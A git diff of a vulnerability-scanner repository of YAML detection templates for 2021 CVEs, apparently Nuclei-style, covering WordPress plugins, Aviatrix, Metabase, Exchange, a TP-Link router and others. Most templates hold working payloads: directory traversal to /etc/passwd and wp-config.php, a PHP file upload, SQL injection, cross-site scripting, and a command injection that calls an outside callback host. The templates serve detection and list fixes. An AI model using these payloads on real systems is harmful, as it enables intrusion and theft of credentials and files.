wordpress_test_cookie=WP%20Cookie%20check src=%2Fscripts%2Fsimple.php%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php + matchers-condition: and matchers: - type: word @@ -33,8 +44,8 @@ requests: - "DB_NAME" - "DB_PASSWORD" condition: and + - type: status status: - 200 - -# Enhanced by mp on 2022/06/30 +# digest: 490a0046304402203660c5019a3cd1bf62a8253c6dbe4802a218ac3e49b420f0c7924aaced5592c10220344d7c776624e12950508b7434bdca716d524e807294a21cb56b68774a46a3c1:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-39316.yaml b/poc/cve/CVE-2021-39316.yaml index 134e2e3579..aab1124aca 100644 --- a/poc/cve/CVE-2021-39316.yaml +++ b/poc/cve/CVE-2021-39316.yaml @@ -1,9 +1,12 @@ id: CVE-2021-39316 + info: name: WordPress DZS Zoomsounds <=6.50 - Local File Inclusion author: daffainfo severity: high description: WordPress Zoomsounds plugin 6.45 and earlier allows arbitrary files, including sensitive configuration files such as wp-config.php, to be downloaded via the `dzsap_download` action using directory traversal in the `link` parameter. + remediation: | + Update to the latest version of WordPress DZS Zoomsounds plugin (>=6.51) to fix the Local File Inclusion vulnerability. reference: - https://wpscan.com/vulnerability/d2d60cf7-e4d3-42b6-8dfe-7809f87547bd - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39316 @@ -15,18 +18,29 @@ info: cvss-score: 7.5 cve-id: CVE-2021-39316 cwe-id: CWE-22 - tags: cve,cve2021,wp,wordpress,lfi,wp-plugin,zoomsounds -requests: + epss-score: 0.38985 + epss-percentile: 0.96879 + cpe: cpe:2.3:a:digitalzoomstudio:zoomsounds:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: digitalzoomstudio + product: zoomsounds + framework: wordpress + tags: wordpress,wp-plugin,zoomsounds,wpscan,packetstorm,cve,wp,cve2021,lfi + +http: - method: GET path: - "{{BaseURL}}/?action=dzsap_download&link=../../../../../../../../../../../../../etc/passwd" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 -# Enhanced by mp on 2022/06/30 +# digest: 4b0a00483046022100d341d452b20d7b460a23b54cba7fed5680268baf511893cf5b088b143bb01a4d022100abf18bbb4137f06051a275a3e2e28c6ca01d411894ceca230512a06c85e62684:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2021-39327.yaml b/poc/cve/CVE-2021-39327.yaml index d0c0e2d381..b2086e935f 100644 --- a/poc/cve/CVE-2021-39327.yaml +++ b/poc/cve/CVE-2021-39327.yaml @@ -1,39 +1,24 @@ id: CVE-2021-39327 - info: name: WordPress BulletProof Security 5.1 Information Disclosure author: geeknik severity: medium description: The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible ~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. This affects versions up to, and including, 5.1. - remediation: | - Update to the latest version of WordPress BulletProof Security. reference: - https://packetstormsecurity.com/files/164420/wpbulletproofsecurity51-disclose.txt - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39327 - https://nvd.nist.gov/vuln/detail/CVE-2021-39327 - - http://packetstormsecurity.com/files/164420/WordPress-BulletProof-Security-5.1-Information-Disclosure.html - - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2591118%40bulletproof-security&new=2591118%40bulletproof-security&sfp_email=&sfph_mail= classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2021-39327 - cwe-id: CWE-459,CWE-200 - epss-score: 0.13882 - epss-percentile: 0.95087 - cpe: cpe:2.3:a:ait-pro:bulletproof_security:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 2 - vendor: ait-pro - product: bulletproof_security - framework: wordpress - tags: exposure,packetstorm,cve,cve2021,wordpress - -http: + cwe-id: CWE-200 + tags: cve,cve2021,wordpress,exposures +requests: - method: GET path: - '{{BaseURL}}/wp-content/bps-backup/logs/db_backup_log.txt' - '{{BaseURL}}/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt' - matchers-condition: and matchers: - type: word @@ -42,13 +27,12 @@ http: - 'BPS DB BACKUP LOG' - '==================' condition: and - + - type: status + status: + - 200 - type: word part: header words: - 'text/plain' - - type: status - status: - - 200 -# digest: 490a0046304402207ff1260e69d4e1bb9d86d6e6bcf91f49acf2e53326654765d705969f5d5eca9a02202d84c776998fcf95f9aa3b146eb11f78a7c4a4933b66b94d9fc72d8ba8afcee9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by mp on 2022/03/23 diff --git a/poc/cve/CVE-2021-40870.yaml b/poc/cve/CVE-2021-40870.yaml index db8ead6510..c40e570da3 100644 --- a/poc/cve/CVE-2021-40870.yaml +++ b/poc/cve/CVE-2021-40870.yaml @@ -1,51 +1,41 @@ id: CVE-2021-40870 - info: - name: Aviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution + name: Aviatrix Controller 6.x before 6.5-1804.1922 Remote Command Execution author: pikpikcu severity: critical description: Aviatrix Controller 6.x before 6.5-1804.1922 contains a vulnerability that allows unrestricted upload of a file with a dangerous type, which allows an unauthenticated user to execute arbitrary code via directory traversal. - remediation: | - Upgrade Aviatrix Controller to version 6.5-1804.1922 or later to mitigate this vulnerability. reference: - https://docs.aviatrix.com/HowTos/UCC_Release_Notes.html#security-note-9-11-2021 - https://wearetradecraft.com/advisories/tc-2021-0002/ - https://nvd.nist.gov/vuln/detail/CVE-2021-40870 - - http://packetstormsecurity.com/files/164461/Aviatrix-Controller-6.x-Path-Traversal-Code-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-40870 - cwe-id: CWE-23 - epss-score: 0.9088 - epss-percentile: 0.98553 - cpe: cpe:2.3:a:aviatrix:controller:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: aviatrix - product: controller - tags: intrusive,packetstorm,cve,cve2021,rce,aviatrix,kev,fileupload - -http: + cwe-id: CWE-434 + tags: cve,cve2021,rce,aviatrix,kev +requests: - raw: - | POST /v1/backend1 HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded - CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{{randstr}}.php&data= + CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{{randstr}}.php&data=HACKERMAN - | GET /v1/{{randstr}}.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded - matchers-condition: and matchers: - - type: word - words: - - '0d95513363fd69b9fee712f333293654' - - type: status status: - 200 -# digest: 4a0a0047304502200eec3d9aadf7bb71831a8b8e148b1902d3d6bc0fb24119a516d7d3797e47a05b022100cda620925d111f86251eb1e8da423aedc562bd5118930fcd608a22f1e4caaf3f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - type: word + words: + - 'HACKERMAN' + - "PHP Extension" + - "PHP Version" + condition: and + +# Enhanced by mp on 2022/03/06 diff --git a/poc/cve/CVE-2021-40978.yaml b/poc/cve/CVE-2021-40978.yaml index 45793e0f1b..81ec5d959e 100644 --- a/poc/cve/CVE-2021-40978.yaml +++ b/poc/cve/CVE-2021-40978.yaml @@ -1,45 +1,33 @@ id: CVE-2021-40978 info: - name: MKdocs 1.2.2 - Directory Traversal + name: mkdocs 1.2.2 built-in dev-server allows directory traversal author: pikpikcu severity: high - description: The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited. - remediation: | - Upgrade MKdocs to version 1.2.3 or later to fix the directory traversal vulnerability. reference: - - https://github.com/mkdocs/mkdocs/pull/2604 - https://github.com/nisdn/CVE-2021-40978 - https://nvd.nist.gov/vuln/detail/CVE-2021-40978 - - https://github.com/mkdocs/mkdocs - - https://github.com/mkdocs/mkdocs/issues/2601 + tags: cve,cve2021,mkdocs,lfi + description: "** DISPUTED ** The mkdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain :sensitive information. NOTE: the vendor has disputed this as described in https://github.com/mkdocs/mkdocs/issues/2601.] and https://github.com/nisdn/CVE-2021-40978/issues/1." classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 + cvss-score: 7.50 cve-id: CVE-2021-40978 cwe-id: CWE-22 - epss-score: 0.0345 - epss-percentile: 0.90463 - cpe: cpe:2.3:a:mkdocs:mkdocs:1.2.2:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: mkdocs - product: mkdocs - tags: cve,cve2021,mkdocs,lfi -http: +requests: - method: GET path: - '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd' matchers-condition: and matchers: + - type: regex - part: body regex: - "root:[x*]:0:0:" + part: body - type: status status: - 200 -# digest: 490a00463044022051fe4885f17ecb3068259162af6afb01b04b6784cd4bf9539857db99cc8263bc02202093c9039245b45870d4691050a508dfe974999234e8da26e3b95a9d65ecedb4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-41277.yaml b/poc/cve/CVE-2021-41277.yaml index 514c6057d2..a1cef8acd1 100644 --- a/poc/cve/CVE-2021-41277.yaml +++ b/poc/cve/CVE-2021-41277.yaml @@ -1,44 +1,34 @@ id: CVE-2021-41277 - info: name: Metabase Local File Inclusion author: 0x_Akoko - severity: high - description: Metabase is an open source data analytics platform. In affected versions a local file inclusion security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded. - remediation: This issue is fixed in 0.40.5 and .40.5 and higher. If you are unable to upgrade immediately, you can mitigate this by including rules in your reverse proxy or load balancer or WAF to provide a validation filter before the application. + severity: critical + description: "Metabase is an open source data analytics platform. In affected versions a local file inclusion security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded." + remediation: "This issue is fixed in 0.40.5 and .40.5 and higher. If you are unable to upgrade immediately, you can mitigate this by including rules in your reverse proxy or load balancer or WAF to provide a validation filter before the application." reference: - https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr - https://nvd.nist.gov/vuln/detail/CVE-2021-41277 - https://twitter.com/90security/status/1461923313819832324 - - https://github.com/metabase/metabase/commit/042a36e49574c749f944e19cf80360fd3dc322f0 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-41277 - cwe-id: CWE-22,CWE-200 - epss-score: 0.06768 - epss-percentile: 0.93131 - cpe: cpe:2.3:a:metabase:metabase:0.40.0:-:*:*:*:*:*:* metadata: - max-request: 1 - vendor: metabase - product: metabase shodan-query: http.title:"Metabase" fofa-query: app="Metabase" + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L + cvss-score: 10.0 + cve-id: CVE-2021-41277 + cwe-id: CWE-200 tags: cve,cve2021,metabase,lfi - -http: +requests: - method: GET path: - "{{BaseURL}}/api/geojson?url=file:///etc/passwd" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4a0a0047304502200f14720ba0dcb1172d983d74a33abce7d04413f12d3bb557d3977129a07e04c7022100c313f2c364c6a693bc7f52df5785ac65106c698aca2bdf420b3f0a39adf2c842:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/03/06 diff --git a/poc/cve/CVE-2021-41291.yaml b/poc/cve/CVE-2021-41291.yaml index 019635b732..40c981d32a 100644 --- a/poc/cve/CVE-2021-41291.yaml +++ b/poc/cve/CVE-2021-41291.yaml @@ -1,27 +1,39 @@ id: CVE-2021-41291 + info: name: ECOA Building Automation System - Directory Traversal Content Disclosure author: gy741 severity: high description: The ECOA BAS controller suffers from a directory traversal content disclosure vulnerability. Using the GET parameter cpath in File Manager (fmangersub), attackers can disclose directory content on the affected device + remediation: | + Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in the ECOA Building Automation System. reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-41291 - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5670.php - https://www.twcert.org.tw/en/cp-139-5140-6343c-2.html - tags: cve,cve2021,ecoa,lfi,traversal + - https://www.twcert.org.tw/tw/cp-132-5127-3cbd3-1.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 + cvss-score: 7.5 cve-id: CVE-2021-41291 cwe-id: CWE-22 -requests: + epss-score: 0.0476 + epss-percentile: 0.91811 + cpe: cpe:2.3:o:ecoa:ecs_router_controller-ecs_firmware:-:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: ecoa + product: ecs_router_controller-ecs_firmware + tags: cve,cve2021,ecoa,lfi,traversal + +http: - raw: - | GET /fmangersub?cpath=../../../../../../../etc/passwd HTTP/1.1 Host: {{Hostname}} + matchers: - type: regex regex: - "root:.*:0:0:" - -# Enhanced by mp on 2022/03/06 +# digest: 4a0a0047304502200ab375779c544247084df27df2110d5e8bd971a7afb0521769179671fc5c79c6022100c97200d389557ae7066e36b39411f6f4529049c4aea2d43aae22595186561f0f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-41349.yaml b/poc/cve/CVE-2021-41349.yaml index db177277d4..225d1a6a33 100644 --- a/poc/cve/CVE-2021-41349.yaml +++ b/poc/cve/CVE-2021-41349.yaml @@ -1,32 +1,21 @@ id: CVE-2021-41349 info: - name: Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting + name: Pre-Auth POST Based Reflected XSS in Microsoft Exchange author: rootxharsh,iamnoooob severity: medium - description: Microsoft Exchange Server is vulnerable to a spoofing vulnerability. Be aware this CVE ID is unique from CVE-2021-42305. - remediation: | - Apply the latest security updates provided by Microsoft to mitigate this vulnerability. + tags: cve,cve2021,xss,microsoft,exchange + description: Microsoft Exchange Server Spoofing Vulnerability This CVE ID is unique from CVE-2021-42305. reference: - - https://www.microsoft.com/en-us/download/details.aspx?id=103643 - https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-41349 - https://nvd.nist.gov/vuln/detail/CVE-2021-41349 - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41349 - - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41349 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - cvss-score: 6.5 + cvss-score: 6.50 cve-id: CVE-2021-41349 - epss-score: 0.82962 - epss-percentile: 0.98109 - cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: microsoft - product: exchange_server - tags: cve,cve2021,xss,microsoft,exchange -http: +requests: - raw: - | POST /autodiscover/autodiscover.json HTTP/1.1 @@ -48,12 +37,6 @@ http: words: - 'text/html' - - type: word - negative: true - words: - - "A potentially dangerous Request.Form value was detected from the client" - - type: status status: - - 500 -# digest: 490a0046304402201b239cb853f7220d74b49e49599d28dc0150252a5728f2ee36ff5648f25fe7ff0220492a0dd7a51699bfd2bca3d983ac6b180b428ce6f74a9e9dd501498db4e5e92c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - 500 \ No newline at end of file diff --git a/poc/cve/CVE-2021-41569.yaml b/poc/cve/CVE-2021-41569.yaml index a65c219ae1..7cbddb68f3 100644 --- a/poc/cve/CVE-2021-41569.yaml +++ b/poc/cve/CVE-2021-41569.yaml @@ -1,28 +1,42 @@ id: CVE-2021-41569 + info: - name: SAS 9.4 build 1520 - Local File Inclusion + name: SAS/Internet 9.4 1520 - Local File Inclusion author: 0x_Akoko severity: high - description: SAS/Intrnet 9.4 build 1520 and earlier allows Local File Inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro. + description: SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro. + remediation: | + Apply the latest security patches or updates provided by SAS to fix the LFI vulnerability in the SAS/Internet 9.4 1520 application. reference: - https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas - - https://nvd.nist.gov/vuln/detail/CVE-2021-41569 - https://support.sas.com/kb/68/641.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-41569 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-41569 cwe-id: CWE-829 + epss-score: 0.00978 + epss-percentile: 0.81694 + cpe: cpe:2.3:a:sas:sas\/intrnet:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: sas + product: sas\/intrnet tags: cve,cve2021,sas,lfi -requests: + +http: - method: GET path: - "{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR" + matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" + - type: status status: - 200 +# digest: 4b0a00483046022100b5ed72e2112da2f28d093daf01c613d3fb7fbdaaa619c1ce41d58efdde1876d5022100c1bccde6c025af52cad8129238983b19f09549900d4f0a97f3aa8b002d4deee8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-41648.yaml b/poc/cve/CVE-2021-41648.yaml index e9ba8be055..d38f2db961 100644 --- a/poc/cve/CVE-2021-41648.yaml +++ b/poc/cve/CVE-2021-41648.yaml @@ -1,38 +1,53 @@ id: CVE-2021-41648 + info: name: PuneethReddyHC action.php SQL Injection author: daffainfo severity: high description: An unauthenticated SQL injection vulnerability exists in PuneethReddyHC Online Shopping through the /action.php prId parameter. Using a post request does not sanitize the user input. + remediation: | + Upgrade to the latest version to mitigate this vulnerability. reference: - https://github.com/MobiusBinary/CVE-2021-41648 - https://awesomeopensource.com/project/PuneethReddyHC/online-shopping-system - https://nvd.nist.gov/vuln/detail/CVE-2021-41649 - tags: cve,cve2021,sqli,injection + - http://packetstormsecurity.com/files/165036/PuneethReddyHC-Online-Shopping-System-Advanced-1.0-SQL-Injection.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 + cvss-score: 7.5 cve-id: CVE-2021-41648 cwe-id: CWE-89 -requests: + epss-score: 0.06237 + epss-percentile: 0.92818 + cpe: cpe:2.3:a:online-shopping-system-advanced_project:online-shopping-system-advanced:-:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: online-shopping-system-advanced_project + product: online-shopping-system-advanced + tags: cve2021,sqli,packetstorm,cve + +http: - method: POST path: - "{{BaseURL}}/action.php" + body: "proId=1'&addToCart=1" + matchers-condition: and matchers: - type: word + part: header words: - "text/html" - part: header + - type: word + part: body words: - "Warning: mysqli_num_rows() expects parameter 1 to be" - "xdebug-error xe-warning" - part: body condition: and + - type: status status: - 200 - -# Enhanced by mp on 2022/03/07 +# digest: 490a0046304402206a63e5f1e52e140fbee1cfde1ec1f1f33b61ef417c780d0aad439ab1e651808102203b88d2d1e1cff3f4c90995d73beca8378b8a2c25b57e9f323253578a6e74bbf8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-41653.yaml b/poc/cve/CVE-2021-41653.yaml index 2595cd5ef5..0b2062a76c 100644 --- a/poc/cve/CVE-2021-41653.yaml +++ b/poc/cve/CVE-2021-41653.yaml @@ -1,21 +1,33 @@ id: CVE-2021-41653 + info: name: TP-Link - OS Command Injection - description: The PING function on the TP-Link TL-WR840N EU v5 router with firmware through TL-WR840N(EU)_V5_171211 is vulnerable to remote code execution via a specially crafted payload in an IP address input field. author: gy741 severity: critical + description: The PING function on the TP-Link TL-WR840N EU v5 router with firmware through TL-WR840N(EU)_V5_171211 is vulnerable to remote code execution via a specially crafted payload in an IP address input field. remediation: Upgrade the firmware to at least version "TL-WR840N(EU)_V5_211109". reference: - https://k4m1ll0.com/cve-2021-41653.html - https://nvd.nist.gov/vuln/detail/CVE-2021-41653 - https://www.tp-link.com/us/press/security-advisory/ + - http://tp-link.com classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 + cvss-score: 9.8 cve-id: CVE-2021-41653 cwe-id: CWE-94 + epss-score: 0.95374 + epss-percentile: 0.99172 + cpe: cpe:2.3:o:tp-link:tl-wr840n_firmware:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: tp-link + product: tl-wr840n_firmware tags: cve,cve2021,tplink,rce,router -requests: +variables: + useragent: '{{rand_base(6)}}' + +http: - raw: - | POST /cgi?2 HTTP/1.1 @@ -28,7 +40,7 @@ requests: dataBlockSize=64 timeout=1 numberOfRepetitions=4 - host=$(echo 127.0.0.1; wget http://{{interactsh-url}}) + host=$(echo 127.0.0.1; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}') X_TP_ConnName=ewan_ipoe_d diagnosticsState=Requested - | @@ -39,10 +51,17 @@ requests: Cookie: Authorization=Basic YWRtaW46YWRtaW4= [ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0 + + matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" -# Enhanced by mp on 2022/02/27 + - type: word + part: interactsh_request + words: + - "User-Agent: {{useragent}}" + +# digest: 490a004630440220752d1a35c5152419dacd9908a794244472a635bd8142f442d7cc7c88b204879b0220494cf93f6429b61a87d6c82bcd93eed1ea759f32f72eb7adfbbf425ed650b72c:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2021-41878.yaml b/poc/cve/CVE-2021-41878.yaml index 4357fbd281..97ad3503f1 100644 --- a/poc/cve/CVE-2021-41878.yaml +++ b/poc/cve/CVE-2021-41878.yaml @@ -1,37 +1,53 @@ id: CVE-2021-41878 info: - name: i-Panel Administration System - Reflected XSS + name: i-Panel Administration System 2.0 - Cross-Site Scripting author: madrobot severity: medium - description: A reflected cross-site scripting (XSS) vulnerability exists in the i-Panel Administration System Version 2.0 that enables a remote attacker to execute arbitrary JavaScript code in the browser-based web console. + description: | + i-Panel Administration System 2.0 contains a cross-site scripting vulnerability that enables an attacker to execute arbitrary JavaScript code in the browser-based web console. + remediation: | + Upgrade to the latest version to mitigate this vulnerability. reference: - https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41878 + - https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-41878 + - https://nvd.nist.gov/vuln/detail/CVE-2021-41878 + - http://packetstormsecurity.com/files/164519/i-Panel-Administration-System-2.0-Cross-Site-Scripting.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2021-41878 cwe-id: CWE-79 - tags: cve,cve2021,justwriting,xss + epss-score: 0.00955 + epss-percentile: 0.81471 + cpe: cpe:2.3:a:hkurl:i-panel_administration_system:2.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: hkurl + product: i-panel_administration_system + tags: cve,cve2021,ipanel,xss,packetstorm -requests: +http: - method: GET path: - - '{{BaseURL}}/lostpassword.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + - '{{BaseURL}}/lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22document.domain%22)%3E' matchers-condition: and matchers: - - type: status - status: - - 200 - - type: word - words: - - "" part: body + words: + - '>' + - 'i-Panel Administration' + condition: and - type: word + part: header words: - "text/html" - part: header + + - type: status + status: + - 200 +# digest: 490a0046304402200c8e2a17ddfc82a0c19a1ddc1d1ea351c535257ab1f62ab99c323a4d95f5e5c802202731d71d7c8494b0c754f5e01bcdc109e1f3dbad0cc041c012579acb8d14c8db:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-42551.yaml b/poc/cve/CVE-2021-42551.yaml index 1ff4111fde..356ef93eda 100644 --- a/poc/cve/CVE-2021-42551.yaml +++ b/poc/cve/CVE-2021-42551.yaml @@ -1,28 +1,38 @@ id: CVE-2021-42551 info: - name: NetBiblio WebOPAC - Reflected XSS + name: NetBiblio WebOPAC - Cross-Site Scripting author: compr00t severity: medium - description: NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected Cross-Site Scripting vulnerability in its Wikipedia modul through /NetBiblio/search/shortview via the searchTerm parameter. + description: NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected cross-site scripting vulnerability in its Wikipedia module through /NetBiblio/search/shortview via the searchTerm parameter. + remediation: | + Upgrade to the latest version to mitigate this vulnerability. reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-42551 - https://www.redguard.ch/advisories/netbiblio_webopac.txt - - https://www.cve.org/CVERecord?id=CVE-2021-42551 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2021-42551 cwe-id: CWE-79 + epss-score: 0.00124 + epss-percentile: 0.46644 + cpe: cpe:2.3:a:alcoda:netbiblio:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: alcoda + product: netbiblio tags: cve,cve2021,xss,netbiblio -requests: +http: - method: GET path: - '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x' - '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F' - redirects: true + host-redirects: true max-redirects: 3 + matchers-condition: and matchers: - type: word @@ -45,3 +55,4 @@ requests: - type: status status: - 200 +# digest: 4a0a00473045022100d003002c00cd294d506a8e2897bce31ba7fe31a6b1f5b58600d4dd5f16c29cb402203a1c90f6ba3495294eabe6c603d37692e5ca94fe1b92ce4034665512abfa5488:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-43496.yaml b/poc/cve/CVE-2021-43496.yaml index 9ea84cd412..179b6530f1 100644 --- a/poc/cve/CVE-2021-43496.yaml +++ b/poc/cve/CVE-2021-43496.yaml @@ -1,26 +1,37 @@ id: CVE-2021-43496 + info: name: Clustering Local File Inclusion author: Evan Rubinstein severity: high description: Clustering master branch as of commit 53e663e259bcfc8cdecb56c0bb255bd70bfcaa70 is affected by a directory traversal vulnerability. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access. + remediation: | + Upgrade to the latest version to mitigate this vulnerability. reference: - https://github.com/varun-suresh/Clustering/issues/12 - https://nvd.nist.gov/vuln/detail/CVE-2021-43496 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-43496 cwe-id: CWE-22 + epss-score: 0.03503 + epss-percentile: 0.90519 + cpe: cpe:2.3:a:clustering_project:clustering:2019-07-26:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: clustering_project + product: clustering tags: cve,cve2021,lfi,clustering -requests: + +http: - method: GET path: - "{{BaseURL}}/img/../../../../../../etc/passwd" + matchers: - type: regex part: body regex: - "root:.*:0:0:" - -# Enhanced by mp on 2022/02/28 +# digest: 4b0a004830460221008407323b1e4abdda7ef2ef74b96001b9dbacafc5bef04fd99a854a26f8db91fd0221009de68353768867dcb955fa918be5b68790e467d72924044c27a66e98d59498f1:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-43798.yaml b/poc/cve/CVE-2021-43798.yaml index cae1edc347..1349e5fd93 100644 --- a/poc/cve/CVE-2021-43798.yaml +++ b/poc/cve/CVE-2021-43798.yaml @@ -1,57 +1,32 @@ id: CVE-2021-43798 info: - name: Grafana v8.x - Arbitrary File Read - author: z0ne,dhiyaneshDk,j4vaovo + name: Grafana v8.x Arbitrary File Read + author: z0ne,dhiyaneshDk severity: high - description: Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin. - remediation: Upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. + description: Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is `/public/plugins//`, where is the plugin 